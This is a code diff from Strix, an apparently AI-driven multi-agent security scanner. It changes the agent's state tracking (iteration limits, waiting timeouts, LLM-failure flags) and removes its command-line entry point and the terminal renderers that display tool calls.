{"error": error_msg, "details": error_details},
)
tracer.update_tool_execution(exec_id, "failed", {"details": error_details})
return None
async def _handle_iteration_error(
self,
error: RuntimeError | ValueError | TypeError | asyncio.CancelledError,
tracer: Optional["Tracer"],
) -> bool:
error_msg = f"Error in iteration {self.state.iteration}: {error!s}"
logger.exception(error_msg)
self.state.add_error(error_msg)
if tracer:
tracer.update_agent_status(self.state.agent_id, "error")
return True
def cancel_current_execution(self) -> None:
if self._current_task and not self._current_task.done():
self._current_task.cancel()
self._current_task = None
+32 -5
View File
@@ -19,11 +19,14 @@ class AgentState(BaseModel):
task: str = "" task: str = ""
iteration: int = 0 iteration: int = 0
max_iterations: int = 200 max_iterations: int = 300
completed: bool = False completed: bool = False
stop_requested: bool = False stop_requested: bool = False
waiting_for_input: bool = False waiting_for_input: bool = False
llm_failed: bool = False
waiting_start_time: datetime | None = None
final_result: dict[str, Any] | None = None final_result: dict[str, Any] | None = None
max_iterations_warning_sent: bool = False
messages: list[dict[str, Any]] = Field(default_factory=list) messages: list[dict[str, Any]] = Field(default_factory=list)
context: dict[str, Any] = Field(default_factory=dict) context: dict[str, Any] = Field(default_factory=dict)
@@ -40,8 +43,11 @@ class AgentState(BaseModel):
self.iteration += 1 self.iteration += 1
self.last_updated = datetime.now(UTC).isoformat() self.last_updated = datetime.now(UTC).isoformat()
def add_message(self, role: str, content: Any) -> None: def add_message(self, role: str, content: Any, thinking_blocks: list[dict[str, Any]] | None = None) -> None:
self.messages.append({"role": role, "content": content}) message = {"role": role, "content": content}
if thinking_blocks:
message["thinking_blocks"] = thinking_blocks
self.messages.append(message)
self.last_updated = datetime.now(UTC).isoformat() self.last_updated = datetime.now(UTC).isoformat()
def add_action(self, action: dict[str, Any]) -> None: def add_action(self, action: dict[str, Any]) -> None:
@@ -85,15 +91,18 @@ class AgentState(BaseModel):
def is_waiting_for_input(self) -> bool: def is_waiting_for_input(self) -> bool:
return self.waiting_for_input return self.waiting_for_input
def enter_waiting_state(self) -> None: def enter_waiting_state(self, llm_failed: bool = False) -> None:
self.waiting_for_input = True self.waiting_for_input = True
self.stop_requested = False self.waiting_start_time = datetime.now(UTC)
self.llm_failed = llm_failed
self.last_updated = datetime.now(UTC).isoformat() self.last_updated = datetime.now(UTC).isoformat()
def resume_from_waiting(self, new_task: str | None = None) -> None: def resume_from_waiting(self, new_task: str | None = None) -> None:
self.waiting_for_input = False self.waiting_for_input = False
self.waiting_start_time = None
self.stop_requested = False self.stop_requested = False
self.completed = False self.completed = False
self.llm_failed = False
if new_task: if new_task:
self.task = new_task self.task = new_task
self.last_updated = datetime.now(UTC).isoformat() self.last_updated = datetime.now(UTC).isoformat()
@@ -101,6 +110,24 @@ class AgentState(BaseModel):
def has_reached_max_iterations(self) -> bool: def has_reached_max_iterations(self) -> bool:
return self.iteration >= self.max_iterations return self.iteration >= self.max_iterations
def is_approaching_max_iterations(self, threshold: float = 0.85) -> bool:
return self.iteration >= int(self.max_iterations * threshold)
def has_waiting_timeout(self) -> bool:
if not self.waiting_for_input or not self.waiting_start_time:
return False
if (
self.stop_requested
or self.llm_failed
or self.completed
or self.has_reached_max_iterations()
):
return False
elapsed = (datetime.now(UTC) - self.waiting_start_time).total_seconds()
return elapsed > 600
def has_empty_last_messages(self, count: int = 3) -> bool: def has_empty_last_messages(self, count: int = 3) -> bool:
if len(self.messages) < count: if len(self.messages) < count:
return False return False
-1122
View File
File diff suppressed because it is too large Load Diff
-564
View File
@@ -1,564 +0,0 @@
#!/usr/bin/env python3
"""
Strix Agent Command Line Interface
"""
import argparse
import asyncio
import logging
import os
import secrets
import sys
from pathlib import Path
from typing import Any
from urllib.parse import urlparse
import shutil
import docker
import litellm
from docker.errors import DockerException
from rich.console import Console
from rich.panel import Panel
from rich.text import Text
from strix.cli.app import run_strix_cli
from strix.cli.tracer import get_global_tracer
from strix.runtime.docker_runtime import STRIX_IMAGE
logging.getLogger().setLevel(logging.ERROR)
def format_token_count(count: float) -> str:
count = int(count)
if count >= 1_000_000:
return f"{count / 1_000_000:.1f}M"
if count >= 1_000:
return f"{count / 1_000:.1f}K"
return str(count)
def validate_environment() -> None:
console = Console()
missing_required_vars = []
missing_optional_vars = []
if not os.getenv("STRIX_LLM"):
missing_required_vars.append("STRIX_LLM")
if not os.getenv("LLM_API_KEY"):
missing_required_vars.append("LLM_API_KEY")
if not os.getenv("PERPLEXITY_API_KEY"):
missing_optional_vars.append("PERPLEXITY_API_KEY")
if missing_required_vars:
error_text = Text()
error_text.append("", style="bold red")
error_text.append("MISSING REQUIRED ENVIRONMENT VARIABLES", style="bold red")
error_text.append("\n\n", style="white")
for var in missing_required_vars:
error_text.append(f"{var}", style="bold yellow")
error_text.append(" is not set\n", style="white")
if missing_optional_vars:
error_text.append(
"\nOptional (but recommended) environment variables:\n", style="dim white"
)
for var in missing_optional_vars:
error_text.append(f"{var}", style="dim yellow")
error_text.append(" is not set\n", style="dim white")
error_text.append("\nRequired environment variables:\n", style="white")
error_text.append("", style="white")
error_text.append("STRIX_LLM", style="bold cyan")
error_text.append(
" - Model name to use with litellm (e.g., 'anthropic/claude-opus-4-1-20250805')\n",
style="white",
)
error_text.append("", style="white")
error_text.append("LLM_API_KEY", style="bold cyan")
error_text.append(" - API key for the LLM provider\n", style="white")
if missing_optional_vars:
error_text.append("\nOptional environment variables:\n", style="white")
error_text.append("", style="white")
error_text.append("PERPLEXITY_API_KEY", style="bold cyan")
error_text.append(
" - API key for Perplexity AI web search (enables real-time research)\n",
style="white",
)
error_text.append("\nExample setup:\n", style="white")
error_text.append(
"export STRIX_LLM='anthropic/claude-opus-4-1-20250805'\n", style="dim white"
)
error_text.append("export LLM_API_KEY='your-api-key-here'\n", style="dim white")
if missing_optional_vars:
error_text.append(
"export PERPLEXITY_API_KEY='your-perplexity-key-here'", style="dim white"
)
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX CONFIGURATION ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
def _validate_llm_response(response: Any) -> None:
if not response or not response.choices or not response.choices[0].message.content:
raise RuntimeError("Invalid response from LLM")
def check_docker_installed() -> None:
if shutil.which("docker") is None:
console = Console()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("DOCKER NOT INSTALLED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("The 'docker' CLI was not found in your PATH.\n", style="white")
error_text.append("Please install Docker and ensure the 'docker' command is available.\n\n", style="white")
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n", panel, "\n")
sys.exit(1)
async def warm_up_llm() -> None:
console = Console()
try:
model_name = os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
api_key = os.getenv("LLM_API_KEY")
if api_key:
litellm.api_key = api_key
test_messages = [
{"role": "system", "content": "You are a helpful assistant."},
{"role": "user", "content": "Reply with just 'OK'."},
]
response = litellm.completion(
model=model_name,
messages=test_messages,
)
_validate_llm_response(response)
except Exception as e: # noqa: BLE001
error_text = Text()
error_text.append("", style="bold red")
error_text.append("LLM CONNECTION FAILED", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("Could not establish connection to the language model.\n", style="white")
error_text.append("Please check your configuration and try again.\n", style="white")
error_text.append(f"\nError: {e}", style="dim white")
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
sys.exit(1)
def generate_run_name() -> str:
# fmt: off
adjectives = [
"stealthy", "sneaky", "crafty", "elite", "phantom", "shadow", "silent",
"rogue", "covert", "ninja", "ghost", "cyber", "digital", "binary",
"encrypted", "obfuscated", "masked", "cloaked", "invisible", "anonymous"
]
nouns = [
"exploit", "payload", "backdoor", "rootkit", "keylogger", "botnet", "trojan",
"worm", "virus", "packet", "buffer", "shell", "daemon", "spider", "crawler",
"scanner", "sniffer", "honeypot", "firewall", "breach"
]
# fmt: on
adj = secrets.choice(adjectives)
noun = secrets.choice(nouns)
number = secrets.randbelow(900) + 100
return f"{adj}-{noun}-{number}"
def infer_target_type(target: str) -> tuple[str, dict[str, str]]:
if not target or not isinstance(target, str):
raise ValueError("Target must be a non-empty string")
target = target.strip()
parsed = urlparse(target)
if parsed.scheme in ("http", "https"):
if any(
host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"]
):
return "repository", {"target_repo": target}
return "web_application", {"target_url": target}
path = Path(target)
try:
if path.exists():
if path.is_dir():
return "local_code", {"target_path": str(path.absolute())}
raise ValueError(f"Path exists but is not a directory: {target}")
except (OSError, RuntimeError) as e:
raise ValueError(f"Invalid path: {target} - {e!s}") from e
if target.startswith("git@") or target.endswith(".git"):
return "repository", {"target_repo": target}
if "." in target and "/" not in target and not target.startswith("."):
parts = target.split(".")
if len(parts) >= 2 and all(p and p.strip() for p in parts):
return "web_application", {"target_url": f"https://{target}"}
raise ValueError(
f"Invalid target: {target}\n"
"Target must be one of:\n"
"- A valid URL (http:// or https://)\n"
"- A Git repository URL (https://github.com/... or git@github.com:...)\n"
"- A local directory path\n"
"- A domain name (e.g., example.com)"
)
def parse_arguments() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Strix Multi-Agent Cybersecurity Scanner",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Web application scan
strix --target https://example.com
# GitHub repository analysis
strix --target https://github.com/user/repo
strix --target git@github.com:user/repo.git
# Local code analysis
strix --target ./my-project
# Domain scan
strix --target example.com
# Custom instructions
strix --target example.com --instruction "Focus on authentication vulnerabilities"
""",
)
parser.add_argument(
"--target",
type=str,
required=True,
help="Target to scan (URL, repository, local directory path, or domain name)",
)
parser.add_argument(
"--instruction",
type=str,
help="Custom instructions for the scan. This can be "
"specific vulnerability types to focus on (e.g., 'Focus on IDOR and XSS'), "
"testing approaches (e.g., 'Perform thorough authentication testing'), "
"test credentials (e.g., 'Use the following credentials to access the app: "
"admin:password123'), "
"or areas of interest (e.g., 'Check login API endpoint for security issues')",
)
parser.add_argument(
"--run-name",
type=str,
help="Custom name for this scan run",
)
args = parser.parse_args()
try:
args.target_type, args.target_dict = infer_target_type(args.target)
except ValueError as e:
parser.error(str(e))
return args
def _build_stats_text(tracer: Any) -> Text:
stats_text = Text()
if not tracer:
return stats_text
vuln_count = len(tracer.vulnerability_reports)
tool_count = tracer.get_real_tool_count()
agent_count = len(tracer.agents)
if vuln_count > 0:
stats_text.append("🔍 Vulnerabilities Found: ", style="bold red")
stats_text.append(str(vuln_count), style="bold yellow")
stats_text.append("", style="dim white")
stats_text.append("🤖 Agents Used: ", style="bold cyan")
stats_text.append(str(agent_count), style="bold white")
stats_text.append("", style="dim white")
stats_text.append("🛠️ Tools Called: ", style="bold cyan")
stats_text.append(str(tool_count), style="bold white")
return stats_text
def _build_llm_stats_text(tracer: Any) -> Text:
llm_stats_text = Text()
if not tracer:
return llm_stats_text
llm_stats = tracer.get_total_llm_stats()
total_stats = llm_stats["total"]
if total_stats["requests"] > 0:
llm_stats_text.append("📥 Input Tokens: ", style="bold cyan")
llm_stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white")
if total_stats["cached_tokens"] > 0:
llm_stats_text.append("", style="dim white")
llm_stats_text.append("⚡ Cached: ", style="bold green")
llm_stats_text.append(
format_token_count(total_stats["cached_tokens"]), style="bold green"
)
llm_stats_text.append("", style="dim white")
llm_stats_text.append("📤 Output Tokens: ", style="bold cyan")
llm_stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white")
if total_stats["cost"] > 0:
llm_stats_text.append("", style="dim white")
llm_stats_text.append("💰 Total Cost: $", style="bold cyan")
llm_stats_text.append(f"{total_stats['cost']:.4f}", style="bold yellow")
return llm_stats_text
def display_completion_message(args: argparse.Namespace, results_path: Path) -> None:
console = Console()
tracer = get_global_tracer()
target_value = next(iter(args.target_dict.values())) if args.target_dict else args.target
completion_text = Text()
completion_text.append("🦉 ", style="bold white")
completion_text.append("AGENT FINISHED", style="bold green")
completion_text.append("", style="dim white")
completion_text.append("Security assessment completed", style="white")
stats_text = _build_stats_text(tracer)
llm_stats_text = _build_llm_stats_text(tracer)
target_text = Text()
target_text.append("🎯 Target: ", style="bold cyan")
target_text.append(str(target_value), style="bold white")
results_text = Text()
results_text.append("📊 Results Saved To: ", style="bold cyan")
results_text.append(str(results_path), style="bold yellow")
if stats_text.plain:
if llm_stats_text.plain:
panel_content = Text.assemble(
completion_text,
"\n\n",
target_text,
"\n",
stats_text,
"\n",
llm_stats_text,
"\n",
results_text,
)
else:
panel_content = Text.assemble(
completion_text, "\n\n", target_text, "\n", stats_text, "\n", results_text
)
elif llm_stats_text.plain:
panel_content = Text.assemble(
completion_text, "\n\n", target_text, "\n", llm_stats_text, "\n", results_text
)
else:
panel_content = Text.assemble(completion_text, "\n\n", target_text, "\n", results_text)
panel = Panel(
panel_content,
title="[bold green]🛡️ STRIX CYBERSECURITY AGENT",
title_align="center",
border_style="green",
padding=(1, 2),
)
console.print("\n")
console.print(panel)
console.print()
def _check_docker_connection() -> Any:
try:
return docker.from_env()
except DockerException:
console = Console()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
error_text.append("\n\n", style="white")
error_text.append("Cannot connect to Docker daemon.\n", style="white")
error_text.append("Please ensure Docker is installed and running.\n\n", style="white")
error_text.append("Try running: ", style="dim white")
error_text.append("sudo systemctl start docker", style="dim cyan")
panel = Panel(
error_text,
title="[bold red]🛡️ STRIX STARTUP ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print("\n", panel, "\n")
sys.exit(1)
def _image_exists(client: Any) -> bool:
try:
client.images.get(STRIX_IMAGE)
except docker.errors.ImageNotFound:
return False
else:
return True
def _update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None:
if "Pull complete" in layer_status or "Already exists" in layer_status:
layers_info[layer_id] = ""
elif "Downloading" in layer_status:
layers_info[layer_id] = ""
elif "Extracting" in layer_status:
layers_info[layer_id] = "📦"
elif "Waiting" in layer_status:
layers_info[layer_id] = ""
else:
layers_info[layer_id] = ""
def _process_pull_line(
line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str
) -> str:
if "id" in line and "status" in line:
layer_id = line["id"]
_update_layer_status(layers_info, layer_id, line["status"])
completed = sum(1 for v in layers_info.values() if v == "")
total = len(layers_info)
if total > 0:
update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete"
if update_msg != last_update:
status.update(update_msg)
return update_msg
elif "status" in line and "id" not in line:
global_status = line["status"]
if "Pulling from" in global_status:
status.update("[bold cyan]Fetching image manifest...")
elif "Digest:" in global_status:
status.update("[bold cyan]Verifying image...")
elif "Status:" in global_status:
status.update("[bold cyan]Finalizing...")
return last_update
def pull_docker_image() -> None:
console = Console()
client = _check_docker_connection()
if _image_exists(client):
return
console.print()
console.print(f"[bold cyan]🐳 Pulling Docker image:[/bold cyan] {STRIX_IMAGE}")
console.print(
"[dim yellow]This only happens on first run and may take a few minutes...[/dim yellow]"
)
console.print()
with console.status("[bold cyan]Downloading image layers...", spinner="dots") as status:
try:
layers_info: dict[str, str] = {}
last_update = ""
for line in client.api.pull(STRIX_IMAGE, stream=True, decode=True):
last_update = _process_pull_line(line, layers_info, status, last_update)
except DockerException as e:
console.print()
error_text = Text()
error_text.append("", style="bold red")
error_text.append("FAILED TO PULL IMAGE", style="bold red")
error_text.append("\n\n", style="white")
error_text.append(f"Could not download: {STRIX_IMAGE}\n", style="white")
error_text.append(str(e), style="dim red")
panel = Panel(
error_text,
title="[bold red]🛡️ DOCKER PULL ERROR",
title_align="center",
border_style="red",
padding=(1, 2),
)
console.print(panel, "\n")
sys.exit(1)
success_text = Text()
success_text.append("", style="bold green")
success_text.append("Successfully pulled Docker image", style="green")
console.print(success_text)
console.print()
def main() -> None:
if sys.platform == "win32":
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
check_docker_installed()
pull_docker_image()
validate_environment()
asyncio.run(warm_up_llm())
args = parse_arguments()
if not args.run_name:
args.run_name = generate_run_name()
asyncio.run(run_strix_cli(args))
results_path = Path("agent_runs") / args.run_name
display_completion_message(args, results_path)
if __name__ == "__main__":
main()
@@ -1,123 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class ViewAgentGraphRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "view_agent_graph"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
content_text = "🕸️ [bold #fbbf24]Viewing agents graph[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class CreateAgentRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_agent"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
task = args.get("task", "")
name = args.get("name", "Agent")
header = f"🤖 [bold #fbbf24]Creating {name}[/]"
if task:
task_display = task[:400] + "..." if len(task) > 400 else task
content_text = f"{header}\n [dim]{cls.escape_markup(task_display)}[/]"
else:
content_text = f"{header}\n [dim]Spawning agent...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class SendMessageToAgentRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "send_message_to_agent"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
message = args.get("message", "")
header = "💬 [bold #fbbf24]Sending message[/]"
if message:
message_display = message[:400] + "..." if len(message) > 400 else message
content_text = f"{header}\n [dim]{cls.escape_markup(message_display)}[/]"
else:
content_text = f"{header}\n [dim]Sending...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class AgentFinishRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "agent_finish"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result_summary = args.get("result_summary", "")
findings = args.get("findings", [])
success = args.get("success", True)
header = (
"🏁 [bold #fbbf24]Agent completed[/]" if success else "🏁 [bold #fbbf24]Agent failed[/]"
)
if result_summary:
content_parts = [f"{header}\n [bold]{cls.escape_markup(result_summary)}[/]"]
if findings and isinstance(findings, list):
finding_lines = [f"{finding}" for finding in findings]
content_parts.append(
f" [dim]{chr(10).join([cls.escape_markup(line) for line in finding_lines])}[/]"
)
content_text = "\n".join(content_parts)
else:
content_text = f"{header}\n [dim]Completing task...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class WaitForMessageRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "wait_for_message"
css_classes: ClassVar[list[str]] = ["tool-call", "agents-graph-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
reason = args.get("reason", "Waiting for messages from other agents or user input")
header = "⏸️ [bold #fbbf24]Waiting for messages[/]"
if reason:
reason_display = reason[:400] + "..." if len(reason) > 400 else reason
content_text = f"{header}\n [dim]{cls.escape_markup(reason_display)}[/]"
else:
content_text = f"{header}\n [dim]Agent paused until message received...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@@ -1,61 +0,0 @@
from abc import ABC, abstractmethod
from typing import Any, ClassVar
from textual.widgets import Static
class BaseToolRenderer(ABC):
tool_name: ClassVar[str] = ""
css_classes: ClassVar[list[str]] = ["tool-call"]
@classmethod
@abstractmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
pass
@classmethod
def escape_markup(cls, text: str) -> str:
return text.replace("[", "\\[").replace("]", "\\]")
@classmethod
def format_args(cls, args: dict[str, Any], max_length: int = 500) -> str:
if not args:
return ""
args_parts = []
for k, v in args.items():
str_v = str(v)
if len(str_v) > max_length:
str_v = str_v[: max_length - 3] + "..."
args_parts.append(f" [dim]{k}:[/] {cls.escape_markup(str_v)}")
return "\n".join(args_parts)
@classmethod
def format_result(cls, result: Any, max_length: int = 1000) -> str:
if result is None:
return ""
str_result = str(result).strip()
if not str_result:
return ""
if len(str_result) > max_length:
str_result = str_result[: max_length - 3] + "..."
return cls.escape_markup(str_result)
@classmethod
def get_status_icon(cls, status: str) -> str:
status_icons = {
"running": "[#f59e0b]●[/#f59e0b] In progress...",
"completed": "[#22c55e]✓[/#22c55e] Done",
"failed": "[#dc2626]✗[/#dc2626] Failed",
"error": "[#dc2626]✗[/#dc2626] Error",
}
return status_icons.get(status, "[dim]○[/dim] Unknown")
@classmethod
def get_css_classes(cls, status: str) -> str:
base_classes = cls.css_classes.copy()
base_classes.append(f"status-{status}")
return " ".join(base_classes)
@@ -1,107 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class BrowserRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "browser_action"
css_classes: ClassVar[list[str]] = ["tool-call", "browser-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
status = tool_data.get("status", "unknown")
action = args.get("action", "unknown")
content = cls._build_sleek_content(action, args)
css_classes = cls.get_css_classes(status)
return Static(content, classes=css_classes)
@classmethod
def _build_sleek_content(cls, action: str, args: dict[str, Any]) -> str:
browser_icon = "🌐"
url = args.get("url")
text = args.get("text")
js_code = args.get("js_code")
if action in [
"launch",
"goto",
"new_tab",
"type",
"execute_js",
"click",
"double_click",
"hover",
]:
if action == "launch":
display_url = cls._format_url(url) if url else None
message = (
f"launching {display_url} on browser" if display_url else "launching browser"
)
elif action == "goto":
display_url = cls._format_url(url) if url else None
message = f"navigating to {display_url}" if display_url else "navigating"
elif action == "new_tab":
display_url = cls._format_url(url) if url else None
message = f"opening tab {display_url}" if display_url else "opening tab"
elif action == "type":
display_text = cls._format_text(text) if text else None
message = f"typing {display_text}" if display_text else "typing"
elif action == "execute_js":
display_js = cls._format_js(js_code) if js_code else None
message = (
f"executing javascript\n{display_js}" if display_js else "executing javascript"
)
else:
action_words = {
"click": "clicking",
"double_click": "double clicking",
"hover": "hovering",
}
message = action_words[action]
return f"{browser_icon} [#06b6d4]{message}[/]"
simple_actions = {
"back": "going back in browser history",
"forward": "going forward in browser history",
"refresh": "refreshing browser tab",
"close_tab": "closing browser tab",
"switch_tab": "switching browser tab",
"list_tabs": "listing browser tabs",
"view_source": "viewing page source",
"screenshot": "taking screenshot of browser tab",
"wait": "waiting...",
"close": "closing browser",
}
if action in simple_actions:
return f"{browser_icon} [#06b6d4]{simple_actions[action]}[/]"
return f"{browser_icon} [#06b6d4]{action}[/]"
@classmethod
def _format_url(cls, url: str) -> str:
if len(url) > 300:
url = url[:297] + "..."
return cls.escape_markup(url)
@classmethod
def _format_text(cls, text: str) -> str:
if len(text) > 200:
text = text[:197] + "..."
return cls.escape_markup(text)
@classmethod
def _format_js(cls, js_code: str) -> str:
if len(js_code) > 200:
js_code = js_code[:197] + "..."
return f"[white]{cls.escape_markup(js_code)}[/white]"
@@ -1,95 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class StrReplaceEditorRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "str_replace_editor"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
result = tool_data.get("result")
command = args.get("command", "")
path = args.get("path", "")
if command == "view":
header = "📖 [bold #10b981]Reading file[/]"
elif command == "str_replace":
header = "✏️ [bold #10b981]Editing file[/]"
elif command == "create":
header = "📝 [bold #10b981]Creating file[/]"
else:
header = "📄 [bold #10b981]File operation[/]"
if (result and isinstance(result, dict) and "content" in result) or path:
path_display = path[-60:] if len(path) > 60 else path
content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]"
else:
content_text = f"{header} [dim]Processing...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ListFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
header = "📂 [bold #10b981]Listing files[/]"
if path:
path_display = path[-60:] if len(path) > 60 else path
content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]"
else:
content_text = f"{header} [dim]Current directory[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class SearchFilesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "search_files"
css_classes: ClassVar[list[str]] = ["tool-call", "file-edit-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
path = args.get("path", "")
regex = args.get("regex", "")
header = "🔍 [bold purple]Searching files[/]"
if path and regex:
path_display = path[-30:] if len(path) > 30 else path
regex_display = regex[:30] if len(regex) > 30 else regex
content_text = (
f"{header} [dim]{cls.escape_markup(path_display)} for "
f"'{cls.escape_markup(regex_display)}'[/]"
)
elif path:
path_display = path[-60:] if len(path) > 60 else path
content_text = f"{header} [dim]{cls.escape_markup(path_display)}[/]"
elif regex:
regex_display = regex[:60] if len(regex) > 60 else regex
content_text = f"{header} [dim]'{cls.escape_markup(regex_display)}'[/]"
else:
content_text = f"{header} [dim]Searching...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@@ -1,31 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class FinishScanRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "finish_scan"
css_classes: ClassVar[list[str]] = ["tool-call", "finish-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
content = args.get("content", "")
success = args.get("success", True)
header = (
"🏁 [bold #dc2626]Finishing Scan[/]" if success else "🏁 [bold #dc2626]Scan Failed[/]"
)
if content:
content_text = f"{header}\n [bold]{cls.escape_markup(content)}[/]"
else:
content_text = f"{header}\n [dim]Generating final report...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
-108
View File
@@ -1,108 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
from .registry import register_tool_renderer
@register_tool_renderer
class CreateNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "create_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
title = args.get("title", "")
content = args.get("content", "")
header = "📝 [bold #fbbf24]Note[/]"
if title:
title_display = title[:100] + "..." if len(title) > 100 else title
note_parts = [f"{header}\n [bold]{cls.escape_markup(title_display)}[/]"]
if content:
content_display = content[:200] + "..." if len(content) > 200 else content
note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]")
content_text = "\n".join(note_parts)
else:
content_text = f"{header}\n [dim]Creating note...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class DeleteNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "delete_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static: # noqa: ARG003
header = "🗑️ [bold #fbbf24]Delete Note[/]"
content_text = f"{header}\n [dim]Deleting...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class UpdateNoteRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "update_note"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
args = tool_data.get("args", {})
title = args.get("title", "")
content = args.get("content", "")
header = "✏️ [bold #fbbf24]Update Note[/]"
if title or content:
note_parts = [header]
if title:
title_display = title[:100] + "..." if len(title) > 100 else title
note_parts.append(f" [bold]{cls.escape_markup(title_display)}[/]")
if content:
content_display = content[:200] + "..." if len(content) > 200 else content
note_parts.append(f" [dim]{cls.escape_markup(content_display)}[/]")
content_text = "\n".join(note_parts)
else:
content_text = f"{header}\n [dim]Updating...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
@register_tool_renderer
class ListNotesRenderer(BaseToolRenderer):
tool_name: ClassVar[str] = "list_notes"
css_classes: ClassVar[list[str]] = ["tool-call", "notes-tool"]
@classmethod
def render(cls, tool_data: dict[str, Any]) -> Static:
result = tool_data.get("result")
header = "📋 [bold #fbbf24]Listing notes[/]"
if result and isinstance(result, dict) and "notes" in result:
notes = result["notes"]
if isinstance(notes, list):
count = len(notes)
content_text = f"{header}\n [dim]{count} notes found[/]"
else:
content_text = f"{header}\n [dim]No notes found[/]"
else:
content_text = f"{header}\n [dim]Listing notes...[/]"
css_classes = cls.get_css_classes("completed")
return Static(content_text, classes=css_classes)
-255
View File
@@ -1,255 +0,0 @@
from typing import Any, ClassVar
from textual.widgets import Static
from .base_renderer import BaseToolRenderer
